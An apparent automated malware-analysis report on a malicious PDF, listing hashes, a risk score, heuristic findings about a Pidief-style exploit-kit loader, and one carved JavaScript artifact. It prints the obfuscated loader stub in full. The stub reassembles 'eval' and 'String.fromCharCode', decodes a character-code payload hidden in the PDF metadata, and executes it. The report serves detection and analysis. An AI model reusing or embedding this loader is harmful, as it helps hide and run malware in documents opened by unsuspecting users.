Malicious PDF — malware analysis report

Static analysis result for SHA-256 fbe49e56e06020cd…

MALICIOUS

PDF

44.3 KB Authoring application: substr First seen: 2026-05-08
MD5: 460447dea3aa6d99d658170a6ffa921a SHA-1: df73d485d0205865ee3422a54f50a861e86ffe70 SHA-256: fbe49e56e06020cd75e251b4aabed20f5fd130f583d6d55fd3be1d46800e1f6c
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAEBD 420 bytes
SHA-256: 00e2780e69159c2867aac49c6cb14cc55248911cceb7c081720658c15e4d751f
Preview script
First 1,000 lines of the extracted script
hgh='';
v=producer;
qqq=subject;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
ulawj=e('ti'+'tle');
s=ulawj.substr(t.length + 8,3)+'str';
q=ulawj[s](1,(1,t.length + 7));
bkf=e(v[0].toUpperCase()+'tring.fro'+q);
q=ulawj[s](14)[qqq]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	lkhxu = parseInt(q[i+1]) + parseInt(q[i]);
	hgh += bkf(lkhxu);
}
e(hgh);

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